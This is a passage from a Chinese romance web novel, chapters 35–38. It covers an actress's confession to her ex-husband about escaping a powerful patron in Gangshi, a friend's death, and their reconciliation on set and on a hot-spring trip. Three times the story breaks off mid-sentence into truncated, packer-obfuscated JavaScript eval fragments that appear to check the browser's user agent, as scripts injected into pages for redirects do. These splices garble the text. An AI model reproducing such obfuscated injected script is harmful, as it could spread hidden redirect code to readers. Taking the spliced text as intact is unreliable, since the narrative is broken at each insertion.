可就是这么一个人,只需要几句话,一张黑白照片,就能把一场幸福的婚礼,变成她余生挥之不去的阴影。 “你不是总想知道,我当初是怎么从港市逃回来的么?”云灯说,“告诉你也无所谓。” 骆小花喜欢她的脸,总是夸她像公主一样漂亮,周围的人都知道。 乃至于有一天,这位忠实迷妹为了更像她,跑去整容,旁人感到无语的同时并不觉得有多意外。里外几道门的保镖也渐渐习惯了,手术做完恢复的那个月,骆小花总戴着口罩出入。 逃离港市的那个周末,她剪掉了自己的头发,戴上口罩,穿着骆小花的衣服鞋袜,安静地乘车离开。 透过卧室的落地窗,监视的人能清晰看到一个侧躺的背影,跟她身材相同,没有应酬的日子里照旧在床上睡得昏天黑地。 似乎是平常的一天。 走之前她对骆小花发了誓,只要找到机会,一定会回来接她离开。 她幸运地遇到了叶平川,没有花费太久时间,原本打算结婚后就利用他的家族关系,威逼利诱,不择手段地完成誓言。 可她总是幸运,又差点运气。 “我把照片撕碎扔掉了。现在想想挺后悔的。” 人在感到绝望时,总会做出一些自欺欺人的举动。仿佛没有看到照片,就能当作没听到过死讯。 “我真的很想杀了他。”她神情漠然地说。“可我还要结婚。我要笑着走出去。我的丈夫在外面等我。” 申雪舒嘴巴张开又闭上,震撼得说不出话。 她本以为自己跟着傅谦明的这两年,已经活得比大部分人都精彩传奇,以为自己已经算是见过了世面。 “你不必要跟我说这些的……刚进组那会儿,你都不愿意搭理我呢。” 忽如其来的坦诚必然伴随着某种目的性。申雪舒咬了咬牙,痛下决心般,“你放心,我肯定会站在你这边的。但是……这个,我不能给你当狗,就是,那个,我喜欢男的。” 虽然只听了这么一会儿…… 真的很难不怀疑是段女同生死恋。 “当然。我不会再养狗了。” 云灯收敛心神,开诚布公道,“我想要的是盟友,知根知底的合作伙伴。” “蜷在我的公司里会限制你的发展。我们可以另拟一份合同,我用所有资源来托举你,你也要让我看到相应的回报。” 明确申雪舒身份的那天,她的第一反应就是不想跟傅谦明作对。 这种刻进潜意识里的忌惮让她反感。 明哲保身就真能保得住吗?这一次避开,下一次呢?她不打算再依靠叶平川,就只能独自面对。 与其如此,不如把能拉拢的力量汇聚起来。她身边的人越多,围绕她建立起的联盟力量就越强。 即使身边还没有称得上强大的盟友,也可以慢慢培养。 傅谦明花了四十多年才有现在的地位。她们还这样年轻,有什么不可能的。 或许有一天,她们也可以拥有曾以为遥不可及的,足以抗衡他的力量。 如果她足够强大,就算有人狗急跳墙,也不敢这样报复,直接跳到她脸上来。 叶平川也不会受伤。 她想到了叶平川,脑子里那些关于港市的记忆就很突然地全部被打乱。 “等一下,我给叶平川发个微信。”她在地板上摸索着找手机,“太久不回房间他又要念我。” “……” 这转折也太猝不及防了点。申雪舒搞不懂两人的关系,但感受到野心蓬勃的力量,整个人仿佛血液都被点燃,举杯和她碰了一下,“谢谢。我不会让你对今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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滑不溜手,叶平川试了几回都抓不起来,好气又好笑,简单粗暴地把她扛上肩头,朝她屁股上拍了一巴掌,“这位天使,请老实。” 云灯挂在他身上嘿嘿笑,“已老实。” 申雪舒:“……” 她跟云灯喝的量差不多,但只是头晕困乏而已。没想到这人酒量这么差。 “明天还得工作,怎么喝这么多。”叶平川没有直接把人带走,审视的目光投向另一个,“你们聊了什么?” 冷飕飕的目光,刀子似的。 申雪舒嘴硬地说,“就随便讲点八卦。” 云灯说两人已经离婚了。虽然具体情况有待商榷,但她不能信任叶平川。 眼看问不出什么,叶平川被气笑了,连说了三个好字,疑似被排外导致破防,扛着人摔门而出。 抛下他自己找借口回酒店,还背着他跟别人喝到半夜,喝得烂醉。 叶平川已经下定决心,就算她吐一身也不会管。 云灯头朝下颠着,确实难受得想吐,但忍住了。幸好房间离得不远。 叶平川把她带回房间,放在沙发上,去和导演通电话。得知了孟瑜家人来闹的事由,算是稍微理解了些,但还是觉得不至于。 她抗压能力又不弱,怎么会只为这么点事喝醉。 通完电话,他生着闷气接水,拧了个冷毛巾。从洗手间出来一看,她还坐在那里,不言不语地低着头,啪嗒啪嗒直掉眼泪。 叶平川瞬间慌了,忘记自己还在生气,大步冲过去,半跪在沙发边,用手抹她脸上的泪水,“怎么了这是,别哭啊……是哪里难受吗?不要哭了宝宝,看看我,嗯?是不是有哪里不舒服?” 云灯根本不听他的话,眼泪爆发,哭得上气不接下气。颠三倒四地说什么很想小花,又说鼻梁骨好疼。 叶平川呼吸节奏都被她带乱,自己也快喘不上气了,憋得眼眶酸胀,凑上去把她被泪水湿透的脸全亲一遍,着急地命令她的鼻子不许疼。 她哭够了一阵,才认出面前的人是谁,泪水很快地止住,小声问他,“叶平川,你疼不疼呢?” 眼泪朦胧的视野里,她看到叶平川眉峰上的伤痕,抽泣着伸手去摸。 那是车祸里留下的擦伤,还没愈合,白天拍戏必须要上妆盖住,晚上回来卸妆洗脸,反复摩擦,那一小片皮肤好像肿起来,在发红发热。 “有一点疼。”叶平川道,“不过医生说了,疼的时候找人亲一亲就会好。” 她信以为真,双手捧着叶平川的脸,虔诚地吻上去。 浸过泪水的嘴唇是咸的,贴在伤口上有轻微的刺痒。她努力地吞下呜咽,长久地吻着那道微不足道的伤口,想要他快点好起来。 真相大白的一刹,风雨飘摇的感情也就此尘埃落定。 叶平川不敢眨眼睛,可泪水满溢,还是顺着他的脸颊滑落出来。好像她的泪都聚集在他的眼眶里,源源不断地替她流泪。 现在云灯变成了替人擦泪的那一个,有点伤心地问,“还是很疼吗?” 叶平川摇头,深深地拥抱她。 “现在一点都不疼了。” 36. 第 36 章 离婚后的半年里,云灯时不时会想起那场备受瞩目的婚礼。 她和叶平川在婚礼上跳舞。叶平川说她脸红得可以跟花园里摆满的朱丽叶粉玫瑰互称姐妹。 她又不能说自己脸红是因为很想杀人憋出来的,只好粉饰出天衣无缝的笑容,然后撒娇抱怨天气太热,婚礼不该选在夏天。 叶平川的心思简单得几乎不用揣摩,也同样纯粹的眼光看她。看到她笑就觉得她是开心的,不会再花很多心思去剖析。 他固执地认为两人在一起只要开心就好,只要相爱,任何问题都可以被解决,无非是早晚。爱总是能令人渡过难关。 云灯赞同一半。 只有被爱的那个人可以。 她的小花做了她的船,渡她离开吃人的岛屿,自己却葬身在风浪里。 她后知后觉地确认,自己真的被爱过。 无解的眼神原来是心疼。 她那时不懂。 半夜醉酒大哭,一觉醒来她的眼睛鼓得桃子样,花了很大功夫消肿。梁天嘀嘀咕咕,她都没敢还嘴。 ——云灯(已老实版)。 导演照常是不管她干嘛的,只要开机不影响上镜就行。叶平川把最后需要补拍的两条搞定,火急火燎过来找人。路遇录音师绊到设备线摔了一大跤,差点把他也扑倒。 他顺手帮着把人抬上车送医院,等见到云灯,消息也已经传了过来,“头还懵吗?” “没什么感觉。” 剧组里鸡飞狗跳的小状况每天都在发生,见怪不怪了。她交代几句才转头看过来,脸上画着苍白的妆,连嘴唇也没什么血色,模样憔悴清冷。 虽然知道这妆面是剧情需要,看到的瞬间,心脏收缩的不适感还是很明显。叶平川坐到她身边,撕了片发热贴贴在掌心,握住她的手,又撩起自己的披风一起盖住,“冷不冷?今天看样子不会下雪了。” “嗯,待会儿得用机器造景。”今天要拍她雪地里长跪,帮将军府求情的戏。也是她皇女时期的最后一场戏。 开拍前两人坐在一块儿说话,语气稀松平常,内容都是工作。梁天很好奇昨晚发生了什么,可惜竖着耳朵听到最后,也没捕捉到一点蛛丝马迹。 云灯说离婚了,那应该就是离婚了。可她看着,只觉得这两人在一起的默契和以前并没有差别。尤其是当着外人的面,一个人不想提的事,另一个人不会多说一个字。 所以就连她这个相处已算是深入的助理,都没见过两人争吵的样子。 这么要好的两个人……梁天惴惴地猜想,会因为什么事离婚呢?该不会真是叶老师出轨了吧。 “你晚上是不是要回南江?”云灯忽然问她。 她立马回神接话,“对。是要带东西吗?” 元旦她有个堂姐结婚,正好组里放假。她被家里磨了好几天,终于还是妥协赶回去当伴娘。 这边还要再拍一个多月,云灯让她去南江的家里带点衣服过来。 最好每天下班都穿得不重样,这样探班的粉丝们看到拍到都有新鲜感。 梁天走后,她也跟着起身,没站稳趔趄了一下。叶平川眼疾手快地托住,要笑不笑地说,“酒还没醒?” “……” 云灯朝他做了个嘴巴拉链的手势。 虽然现在的情况基本算是申雪舒要来投靠她,但她向来讲究公平。申雪舒的情况她已经知道得七七八八,为了以后的合作,她也交个底才显得比较真诚。 唯一的问题是后来她喝断片了,记不起自己说到哪。也不记得叶平川是什么时候去的,听到了多少。 好在他懂事,不会在开拍前拿这种一时半会儿扯不清楚的问题来打扰她集中精神。 将军府谋逆大罪几乎已成定局,家族亲眷皆下了狱。 要找出线索为其翻案谈何容易,言秋却一意孤行上书陈情,险些被判为逆党同谋。惹得龙颜震怒,被罚跪在大殿之外。 来来往往的宫人侧目,小声议论。她挺直脊背,遥望着台阶之上论政殿的牌匾。 寒冬的酷雪没有冰封她的傲骨,反而淬炼出一颗更加坚毅笃定的心。 她一定要爬到那个位置,手握至高的权力,才能保护想保护的人。 一天一夜的罚跪结束,马车接她出宫,回到公主府。谢凭渊正在等她,已然立成雪人。 无诏不得入宫。她在宫里受罚多久,他就在回公主府的必经之路上等了多久。 入了暖阁,两人相对而坐,喝茶烤火,静默无言。 自从生出觊觎皇位的心思后,言秋对他的倾诉少了许多,独来独往,行事手段越发偏激,两人之间难免有了嫌隙。 谢凭渊乃当朝重臣,名望颇盛,深受皇帝信任。皇位之争,无论谁争取到他的帮助,都是如虎添翼。 偏偏她却想要避开他。 “此事太过凶险。”言秋低声道。公主再受宠,也很难挤进继承人的行列。这都不是同一起跑线的竞争,更别提之后的尔虞我诈,“慎远,我不想牵连你。” “还记得你上一次为将军府谋划,参加女官选考进宫时,是如何做的么?” 谢凭渊提及旧事,如玉面庞亦露出暖意,“阿秋,你一直都很聪明。” 言秋当然记得。那时她慌乱地跑去侯府搬救兵,正碰上谢凭渊要去周转人情。 她也不自觉地笑起来,“你还要我去里面坐着,等你回来去樊楼吃了新制的果子。” 后来她才知道,自己之所以能顺利进宫,也是谢凭渊暗中使了手段。 她像一株树苗,自幼弱时期就接受了谢凭渊的培育和照耀,如今已青葱挺立,伸展出鲜嫩的枝叶。 可谋位之难,跟那些事都不是同一程度的凶险。成王败寇,稍有不慎便是灰飞烟灭,抄家灭族的大罪。 “正因凶险,”谢凭渊笃定道,“才更需我伴你身侧。” 二人心思百转,不过都是在为对方考虑。言秋沉默不语,他也不催促,有足够的耐心等待,期待。 他们同样怀揣着对盛世的憧憬,抱负和远见,渴望着大展宏图的机会。他们注定要站在同一边。 她需要他。 只待她亲口说出来。 言秋深深地看了他许久,终于朝他伸出手。 他心甘情愿地握住,自此交付余生。赌上全部的身家性命,去当一柄最趁手的刀。 “陛下,”他口吐大逆不道之语,动作珍重地将这只手贴在自己面颊上,沉静的眼底深埋着疯狂,“只待时机。” 血脉中燃烧的野心无声沸腾。 言秋抚摸他的脸,轻声道,“远卿助我。” ** 拍完这一场,天已经完全黑了。 云灯刚上车喝了杯热水,接到孟瑜一家人离开的消息,没什么表情地说了句注意安全,一路顺风。然后把喝剩的水杯递给叶平川。 喝酒似乎也有好处,今早她就发现姨妈停了,否则在雪地里拍戏更不方便。但小助理还是一直督促她喝热水,一杯接一杯地往她手里塞,真是喝都喝不完。 叶平川接过水杯,一口干了:“不失望吗?” “她有她的人生。”云灯说,“况且她后路很多啊,回家去机构里当舞蹈老师,或者考个编制,父母总会给安排的安稳工作。反正有人兜底。我有什么可替她失望的。” 不过,她私心里觉得孟瑜还会回来。 凡事都有两面性,后路太多总是会让人更犹豫,瞻前顾后。 孟瑜并不是个喜欢安逸的人,小城里毫无波澜的平静生活乍一听很好,但她还太年轻,静不下心,等整理好情绪,大概率还是要回来闯荡的。 云灯想了想,没往外说,以免将来被打脸。 她起身去床那边,想把没送出的手表拿出来,让梁天顺便把东西带回家放保险 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“有人把我的生日礼物藏起来。”他说,“当然要去好好问个清楚。” “没送就不算是你的。”云灯抓住他的胳膊,“摘下来还我。生日已经给你过了,表我要转手,做别的用。” “好啊。”叶平川这样说着,却没有任何把腕表摘下来的意思,只把自己的手腕放在她手里,沉甸甸的。 “你挂到哪个平台我就让人去拍,送给谁我就把他做掉再抢回来。” 他不讲理道,“反正是我的。我一定要。” “……” “其实就是看到我妈先送了一样的,所以才不好意思拿出来,对吧。”他越说越兴起的样子,还笑眯眯地把头靠过来,“你好可爱。” 要提前很久预定的手工表,是她提前很久就已经埋下的心意。所以希望独一无二,不能跟任何人重复。 再回想才知道,怪不得他炫耀新表的那个晚上,云灯表现得一点都不捧场。她根本不是那么扫兴的人。 假装嫌他幼稚,说不定是为了掩饰心里偷偷的失落。 又在那么短的时间里重新想礼物,花费心思调度到遥远的草原里,也要送给他整个卡车无尽夏。 如果这都不算爱,叶平川想不出第二个答案。 “同样的卡片为什么要写两次?一份给我,一份自己藏起来。”叶平川直白地揭破。“在你心里,爱我是什么见不得光的事吗?” “……不是的。”云灯语气生涩。 她也不晓得自己在回答他哪一部分,是“爱我”还是“见不得光”。 向来随机应变的能力在这一刻忽然不奏效了。她只能苍白地反驳,重复道,“我并没有那么爱你。” “是么?”叶平川平静地说,“可从现在开始,我不会再相信你的鬼话了。” 和从前不同。听到这样的话,他没有再露出不解的伤心的表情。 仿佛已在无人之时,暗自下定了某种决心。 表盘内转动的齿轮应和着两人的心跳。 “你总是爱说我傻,但你好像也有一点笨。礼物喜不喜欢,不是由送礼物的人说了算的。要问收礼物的人才对吧?” 他说,“你爱不爱我这件事,我比你更清楚。” 37. 第 37 章 这是从哪里悟出来的歪理?云灯都替他害臊。 可又莫名局促。她心里梗着一口气上不去下不来,迅速演变成熟悉的恼火,“你以后不准随便上我的车!” “为什么?” “什么为什么,这是我的私人物品,使用权还不能由我说了算?难道我所有东西都要被你征用?”她气极反笑,“别在这儿给我自作聪明大放厥词。叶平川你是不是忘了,我们已经离……” “离婚了?老死不相往来了?” 叶平川反问,“那你还找我来干什么。” 不要说什么实在迫不得已才叫他来救场。如果云灯真的没有存一点点私心,根本就不会接受他零片酬来出演的要求。 她那么聪明,怎么可能不明白,如果真心想跟他两清,就不能再为任何事欠他人情。 “你敢拉我进组,难道就想不到我为什么来?” 他一字一顿,笃定道,“我空着手进组,就不会再空着手离开。” 他总是太容易把云灯的话听进心里,乱了方寸。险些忘记,他明明来之前就拿定了主意。 孤家寡人的日子谁爱过谁过。 他一定要把老婆带回家。 “……” 云灯凝视他许久,妥协般开口,“好吧,算我欠你的。” 签合同时她就知道,零片酬代表着比钱更棘手的麻烦。手术室外她就知道,被救了一命远不比死在车祸里轻松。 明知道万事万物都有代价。叶平川为她做了什么,自然就会从她这里拿走什么。 会有今天也是她咎由自取。 “你有任何想知道的事,都可以问我。问多少我就答多少,这样可以吗?”她静静地坐着,仿佛情绪已经被抽离了,只剩下客观的冷静的衡量。 她身上没有什么东西值得叶平川惦记,无论是财产还是人脉资源,他都能找到更好的。只剩下过往隐藏的谜团,或许还算是有趣。 “尽管放心地问。”她眨了一下眼睛,用惯常会有的温柔语气,轻声说,“今晚我不会对你说半个字的谎话喔。” 叶平川眉心紧拧,看她的反应就知道又没把他的话听进去,跟他想的都不是一个方向。 “没有头绪吗?也是。”看他不说话,云灯贴心道,“那就从头说起吧。不过我会把自己美化一点哦,毕竟人都是要面子的。” “你见过我那张校卡了,能上得起贵族小学,我刚生出来的那几年家里条件还是挺好的,不过肯定跟你家里比不了。后来有一回学校体检,被我爸发现我不是他亲生的,就离婚了。多亏他死要面子,继续供我在国际学校读完小学,所以我可以每天都在学校吃饱才回家。后来就没钱了,我妈会把抚养金在月初花光,然后为了生活费到处找人睡觉,弄到点钱再很快花光,重复到下个月抚养金到账。” “那我呢,总不能眼看着自己饿死吧?南江又不让打童工。我就在学校里找那种家里有钱的同学,接近他们搞好关系,重点是搞来他们的饭卡。你也知道的,我很会讨好人。是从小就会。” 她说着,忍不住叹了口气,“我这个人还是太有良心了。起初学校里有两三个好女孩想跟我当朋友,每天叫我一起吃饭,还会分给我水果和零食。可真心对我好的人,我反而不舍得让她们白白浪费钱。而且我这人有时候心态不行,人家好心我也感觉像被施舍。我又不能回报给她们什么,只能自觉地离远一点,就算是对她们好了。” “久而久之,我身边剩的全是些人渣贱货。跟人渣混在一起的当然也是人渣啊,所以我上中学的时候名声很差,当然就没有善良的小女孩来跟我做朋友了。” 这么说也不严谨,她指出,“啊,还是有一个的,就是我们的离婚律师,她叫姜渺。不过跟我不是同学,是高中时的邻居。” “说到高中,我那时候已经可以冒充成年人打工兼职了,有些老板即使看出来,也会睁一只眼闭一只眼。除了时不时受点骚扰以外还是挺好的,毕竟他们也不敢真干什么。打工的钱够我自己租个房子住,我就搬到城中村去,跟姜渺成了邻居。” “有一天晚上我骑电车去送货,半路上被一辆劳斯莱斯别车。真的很神经,车屁股甩我一身水,货箱差点都翻了。我生气啊,又干不过,只能把车停路边擦水,没想到劳斯莱斯也停了,车里下来的就是傅谦明。” 不怪她说得琐碎。幸福家庭里长出来的孩子总是缺乏对苦难的想象力,她不说清楚些,叶平川或许都无法理解前因后果。回头解释起来更麻烦。 她停下来,很老实地说自己有点渴。 叶平川就默默地倒了杯水给她喝。 他也很聪明,在这种最容易情绪化的时刻,反而把情绪控制得很好,没有只言片语的打扰,只是倾听。表现平和,冷静得像个心理医生。 智性恋最吃这样的瞬间,如果是从前,云灯一定会被吸引,主动吻他。 但现在,她沉溺于自己的叙事里,只想把这又臭又长的前半生快点讲完。像急着完成任务,她不在乎叶平川的反应。 “我和他就是这样认识的。我发誓那时根本就没注意到他,是他先来招惹我的,可能是小时候基础没打好,以至于长大了还是很容易吸引到人渣贱货。” “他从车里下来,给了我一件衬衣,让我不要着凉,还说如有需要可以给我别的补偿。我看出衬衣是很贵的牌子,就留了他的电话号码。很熟悉的情节是不是?《潮夜》里男女主角就是这样认识的。” 云灯说,“整个电影翻拍的就是我们的故事。不过后半段不一样,我没有在他的协助下复仇嗜亲,大杀四方。而是跟着他一起去了港市,在那里从头开始。” 她又低头喝了水,像是在组织语言,也像是在搜罗记忆,找寻尚能说出口的东西。 港市那几年发生了太多事,但她如今想来,竟然挑不出一件可说的,只能总结道,“我跟着他见识了更多黑心的贱人,有的死有的活,活的比较多。我觉得那样不行,就在自己也变成黑心的贱人之前,靠一个朋友的帮忙逃回来了。” “本来想着回来拼一把,等我有点本事以后再去接她的,但她还没等到那个时候就死了。其实没什么好意外的。我以前也见过傅谦明身边叛徒的下场,把她自己留在那里的时候,就知道最坏的结果是什么。但我还是自己跑了。都说祸害遗千年,真没错,像我这种人反而能活下来,还活得看起来很光鲜呢。这个世界早就疯了。” “后来的事情你就都知道了。从我们谈恋爱到离婚,几乎没有分开过。” 她想了想,又补充说,“对了,我在拍《潮夜》的时候跟傅谦明吵架,为了气他也为了摆脱他,故意和男主角谈恋爱。后来被他知道,搞得那个富二代家破人亡的。虽然以你家里的条件应该不用担心破产,但再小的麻烦也是麻烦,你以后还是离我远一点比较好。大概就是这样。” 像在讲别人的八卦。她平心静气地说完,等待叶平川的评判。 她听过最恶心的难听话,也被施予过最纯粹的善意同情。所以,任何评判她都可以接受,可以消化。 这些陈旧的经历甚至不能算是伤疤,剖开来看也不痛不痒。以前她不讲,是想在叶平川面前保持神秘感,是种吊他胃口的手段。结婚后不讲,就纯粹是嫌麻烦。 要说这么久呢。 她喝完了一大杯水。和今天一整天喝的一样多。 她想拿这些不痛不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我都听到了。其实你不想说这些也没关系,我以后再也不会缠着问你。”他说,“而且你也不欠我什么。从前你骗过我,这次我骗了你,刚好扯平了。今后我们就可以重新来过。” “让我再追你一次,认认真真地追。你不要放水,也别着急。直到你真的感到快乐,觉得可以跟我过下去的时候,再答应我。” 他要带云灯回家,也得是高高兴兴地回去。 这个想法跟她从前经历过什么没有任何关系。 “……” 这是正常人的脑回路吗? 云灯脑壳发麻。 人无语到一定程度总是忍不住要笑的。她笑了一下,讲白话骂,“黐线。” 叶平川不辩驳,也看着她笑。 他那双眼睛生得非常漂亮,明亮净透。心里在想什么都明晃晃地透出来,浓郁,清晰。 云灯原本是没办法看懂的。 但她曾经见过这个眼神。 和骆小花一模一样的眼神。 即便再蠢,她也无法视而不见。 她不知道叶平川脑袋里在发生什么神奇的化学反应。只知道,等她回过神来,自己的手已经抚上他的眼角。 叶平川歪了下头,把脸蹭进她手心里。 “从前都不好。那些人不好,事不好,我也不够好。”他低声说。“以后会好的。以后,我会找到能让你开心的事,会活得比他们任何人都要久,陪着你。要不要和我看看以后呢?” 38. 第 38 章 被“抛弃”在医院的那晚,叶平川几乎没有阖眼。 他发觉自己一遍遍回顾两人的情感经历,却始终困惑不得其解,是因为从没真正地明白问题出在哪里。 人与人对爱的感知和定义,是可以截然不同的。 他和云灯水到渠成地确认关系,几乎没有明确的谁追谁的过程。但如果不是她放水放了个太平洋,其实云灯是非常难追的人。 他认识到自己身上存在着一种被爱浇灌出的懒惰。太习惯于得到好的东西,太心安理得地接受,太理所当然地以为,在自己感受到爱的时刻,她必定也是同样幸福。 他在最不该偷懒的事情上疏忽大意,自以为比旁人幸运,走了捷径,实际却是绕了弯路。 还好,他醒悟的不算太晚。 感觉脑子被车撞一下还挺值的。 他倒是醒悟了。 云灯在毫无准备的情况下,迎接了一波前夫哥行为大变的冲击。 最首当其冲的就是,每天的叫早服务对象转换。每当她正在起床的边缘挣扎时,叶平川就会来敲门,拉长声音情真意切地呼唤,“陛下,该上朝了~” “……” 困意全无。她只能淡定坐起身,对着一脸惊恐的小助理点点头,“辛苦了,待会儿给你发个节日红包安慰一下。” “这个,就,那什么……”梁天小心地问,“不是说离婚了么?” 云灯说,“不用管他。” 谁知道他发什么疯。 人活着就是在不断地解决麻烦,而恋爱结婚,相当于给自己制造更多麻烦。 从前她选择和叶平川结婚,是迫切地需要利用他去完成目的。现在骆小花都不在了,她也就没有必要再走入婚姻,对谈恋爱更没兴趣。任凭他怎么折腾,这念头都不会改变。 节前最后一天班上完,组里放了假。跨年夜两个人都推掉了晚会邀请,也没有约朋友聚会。 只有一天的假期,她原本打算待在酒店房间里度过。叶平川却提前申请了航线,带她去泡温泉解乏。 反正只是换个地方补觉而已,她不太在意去哪。事实上,叶平川才跟机组人员说了几句话,从驾驶舱回来就见她已经在床上迅速关机,睡得昏天黑地。 “……” 出发前,叶平川预想过会被她的拒绝。可她这么干脆地答应了,他也并没有太放心。 是知道拒绝了他还会再缠着烦她,不想搞得那么麻烦,她才干脆地答应。不是因为真的想跟他一起出来玩。 两个多小时的飞行,她连目的地是哪里都没有问,去玩什么也不关心。有种活着挺好死了也行的随性。 放在以前,他会想当然地认为这很潇洒,很酷。是对他全然信任,才会问也不问地跟他走。 可如今再想,这种随性更像是厌世,是对自己处境安危的漠不关心。 “你还要盯着我看多久?” 云灯不知什么时候醒了,睡意朦胧中带着点无语,“怎么还一脸慈爱的样子。” 叶平川趴在床边,捧着脸看她,“如果我说,想保护你。会显得很自大吗?” 他猜到云灯不会好好回答。 果然,她敷衍地给出标准答案:“会显得你这个人很有爱心呢。” “……” “什么时候可以降落?” 她睡够了起来,终于对这趟旅途产生关心,转动僵硬的脖子扫了几眼,“内饰好像不太一样了。” 出发时天黑得彻底。她路上就困了,几乎是搭着叶平川的胳膊闭眼走路,上的谁的飞机都没注意。 “新买的ACJ,我特意叫人改装过。”叶平川积极邀功,“之前去迈阿密度假用老叶的庞巴迪飞,你不是嫌内舱那么大床却太小么。这里床是原来的两倍大,够睡了吧?” 云灯用很复杂的眼神看着他,欲笑又止,低头揉了揉脸,一声长叹。 “那是因为你在飞机上睡觉不老实,全程追着我。本来床就是够睡的,可你总是压在我身上,又重又热不舒服。所以,我当时是在阴阳你。” “……” 原来老婆不喜欢贴贴。时隔一年多叶平川才知道真相,“啊”“这”了半天,有点沮丧道,“你怎么不直接跟我说啊。” “不想影响你度假的心情。”她说。 “我要是直接说让你滚出去客舱自己另找个地方躺着,你会不会气得让飞机掉头?” “那也不至于……吧。”他不是很有底气,清了清嗓子,“反正你以后要跟我说。” 云灯摆摆手,没给他承诺什么以后。 她又不知道叶平川这波吃回头草的热情能持续多久。以后的事,等到了再说。 落地管家来接客人酒店,已经开好了夜床。云灯没吃一口宵夜,一进屋倒头就睡。叶平川怀疑晚安香薰里掺了安眠药,猛吸两口倒她旁边。结果半天也没睡踏实。 他睡觉很喜欢抱点什么,以前床上三四个枕头,结婚之后当然就是抱着香香软软的老婆睡,并理所应当地认为两口子就是要这样睡觉,很亲密。 但现在云灯说不喜欢抱着睡。他想到这个,就格外注意地往床的另一边挪,让自己别贴太近。 已经形成的肌肉记忆在短时间内很难改变。他总是刚要睡着就发现自己又抱上了,默默地保持距离,继续睡没几分钟猛一睁眼发现死手怎么又抱上了,再往后挪挪。周而复始。 他一会儿一醒,大半夜翻身翻个没完。把云灯都吵醒了,无奈道,“看吧,有些事情还是不说出来比较好。” 叶平川不服,下床去把空调开到只有十几度。这样就算两个人离得很近,睡着了也不会热。 办法总比困难多。他又拿了条被子,把自己裹成一只圆润的茧,“如果我再挤着你,你就推我。这样我就能自动滚到另一边去。” “……” 他似乎觉得这是个好主意。云灯无言地注视着那双亮晶晶的眼睛,心情复杂地起身,把冷气开得更低。 房间里只剩下几度。她打了个哆嗦,缩着肩膀返回床上,抽走叶平川身上的被子,钻进他怀里。“就这样睡吧。” 叶平川真有点想哭了。不敢太用力地抱她,等她睡着才轻轻亲一下,小声嘀咕,“你怎么这么好啊。” 口口声声说着不爱他,都对他这么好。等哪天想爱他了那还能得了?他就知道,他的福气还在后头。 跨年夜的祝福短信塞满手机,谁都没有去理会。天色破晓,智能窗帘悄然落下一半。柔和的光线里,整个房间像巨大的巢穴。 窗外飘起细雪,他们在巢里安稳地相拥而眠。像一对冬眠的穴居动物,整整一天都没出房间。睡得不知天地为何物。 下午被饿醒才叫了客房服务。窗外也已经变成纷扬的鹅毛大雪,云灯坐在床头静静地看了一会儿,才拿起手机,开始回复工作消息。 院子里的温泉池水面飘着热汽。她没带泳衣,行李也都交给叶平川去准备。 因为是来放松的,没打算出片,就随便穿点什么,穿不穿都可以。 等餐时他从行李箱里拿出泳衣,兴致勃勃地展示。云灯在回复消息的间隙里抽空瞥了一眼,表情凝固。 一件是海绵宝宝同款柠檬黄比基尼。一件是派大星同款绿底紫花的泳裤。 “是要去抓水母么?”她说,“我真有点想报警了叶平川。” 千挑万选出来两件丑东西。 午餐后她以“还在下雪就去泡温泉很神经”为由,拒绝离开床,更不想出门去玩别的项目。好说歹说,终于勉强答应上号,跟他到峡谷绕一圈散散步。 打了一局大顺风有点太简单,叶平川要跟她换着手机玩辅助。 “可是我打野玩得不行。”她这么说着,开局就抓了两个人头,初步奠定本局mvp成就。 叶平川一边不遗余力地称赞,一边娇滴滴地抱着魔法棒跟在她身边跑,“我就知道,你肯定不是只会打辅助。” “嗯,”云灯看着手机,“假装不会玩别的,可以满足一下你带妹的虚荣心。” “其实我早就发现了。”他说,“但我以为你是不想玩别的,就喜欢玩辅助呢。” 话音未落,她又拿下人头。像是想起什么有趣的事,兀自笑了笑,“我以前兼职当陪玩,什么位置都会一点,不也很正常么。” 打了两三局,晕碳那股劲儿上来了,等待复活的几十秒,她歪在枕头上又睡了过去。叶平川没舍得叫她,拿起她的手机,一手一个把剩下的塔推完。 跟老婆双排就不能有败绩。 赢下这局,他也退出了游戏,只是在退云灯的账号时发现,她开了个游戏分身。看样子还登着另一个号。 他鬼使神差地点进去,发现登陆界面的服务区非常靠前,是早在跟他认识之前就已经创建的账号。 应该是她高中时做游戏陪玩的号,没想到这么多年了还留着。 他没有登进账号,而是退出游戏,也躺下来。毫无困意主打陪伴。 等到她这一阵饭困过去,外面雪也停了。她找不到什么理由再拒绝,只能不情不愿地穿上那件比基尼,沉进温泉池里。 但凡这里还有第三个人,她是绝对不会穿的。 可跟叶平川单独待在一起,随便穿点什么都比不穿强,否则恐怕很难安安生生地泡温泉。 天然热泉把最近忙碌的疲惫洗去了七七八八。她很快就泡得皮肤发红,全身都松泛下来,趴在池边吃果盘里的樱桃。脸颊鼓鼓地嚼,然后豌豆射手一样把果核吐进骨瓷碟里。 叶平川觉得非常可爱,划着水过来学她吃水果。吐的时候用力过猛,果核像子弹一样发射出去,咣一声击中了花盆。 云灯竖起大拇指,“好孩子,真有劲儿。” “……” 家里来了电话,叶平川跑进屋里去接。隔着一道玻璃门她都听见宋澄锦的骂声,说他穿的什么玩意。 叶平川委屈地把屏幕转过来。她在池边笑着招了招手,只露出胳膊,誓死不愿浮出水面。 好在带老婆出来玩是正事,他因此也得到一番表扬,并且被追问剧组还要拍多久,能不能赶上回家吃年夜饭。 “应该能。”距离除夕还有一个多月。他也说不准,视线望着院子里的人,“到时候再看吧。万一拍不完,那我就留在组里陪她过年了。你们俩有空溜达过来看看我们呗。” 